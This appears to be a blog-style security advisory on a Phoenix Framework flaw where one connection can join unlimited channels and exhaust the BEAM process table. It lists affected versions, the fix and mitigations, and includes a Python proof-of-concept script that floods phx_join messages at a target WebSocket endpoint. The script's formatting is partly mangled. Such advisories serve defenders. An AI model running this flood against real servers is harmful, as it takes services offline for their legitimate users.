Listen to this Post
Phoenix transports do not limit the number of channels that a single transport process may join. Every `phx_join` message a client sends over one connection starts a persistent channel process, and the socket process accepts an unbounded number of them. This vulnerability is associated with program files `lib/phoenix/socket.ex` and program routine 'Elixir.Phoenix.Socket':handle_in/4.
A single unauthenticated client can open one WebSocket or LongPoll connection and stream a large number of `phx_join` messages, spawning hundreds of thousands of channel processes over that one connection. This eventually reaches the BEAM maximum process limit. Once the process table is exhausted, the virtual machine can no longer start new processes, denying service to legitimate traffic across the whole node.
Because the amplification happens inside a single connection, network-layer connection caps and rate limiting do not mitigate it. The fix adds a `:max_channels_per_transport` option (default 100) that bounds the number of channels a single transport process can join, forcing abusive clients to open many connections instead, where external load balancers and reverse proxies can throttle them.
This issue affects Phoenix: from 0.11.0 before 1.5.15, from 1.6.0-rc.0 before 1.6.17, from 1.7.0-rc.0 before 1.7.24, and from 1.8.0-rc.0 before 1.8.9.
DailyCVE Form:
Platform: Phoenix Framework
Version: <1.5.15, <1.6.17, <1.7.24, <1.8.9
Vulnerability: Unbounded Channel Joins
Severity: High (CVSS 8.7)
date: July 7, 2026
Prediction: Patch already available (Sep 3, 2026)
What Undercode Say:
Check your Phoenix version:
mix hex.outdated phoenix
Verify the fix is applied (look for `:max_channels_per_transport`):
grep -r "max_channels_per_transport" deps/phoenix/lib/phoenix/socket.ex
Exploit: (Educational Purposes!)
A proof-of-concept Python script using WebSockets to simulate the attack:
import asyncio
import websockets
import json
async def spawn_channels(uri, count=100000):
async with websockets.connect(uri) as websocket:
for i in range(count):
join_msg = json.dumps([
"1", "1", "room:lobby",
{"phx_join": {}}
])
await websocket.send(join_msg)
No need to wait for replies - just flood
asyncio.run(spawn_channels("ws://target.com/socket/websocket"))
Protection:
- Upgrade Phoenix to patched versions: 1.5.15, 1.6.17, 1.7.24, or 1.8.9
- Set `:max_channels_per_transport` in your socket configuration (default 100)
- Front the socket endpoint with a reverse proxy that limits the number and rate of channel-join frames per connection
- Disable unnecessary transports (e.g., remove `longpoll: true` if LongPoll is not required)
- Lowering the BEAM `+P` maximum process limit does not prevent the exhaustion and can make it easier to trigger
Impact:
An unauthenticated remote attacker can cause a denial of service against any Phoenix app that exposes LongPoll/WebSocket transports. The attack requires only a few connections to exhaust the BEAM process table, taking down the entire node and denying service to all legitimate traffic.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
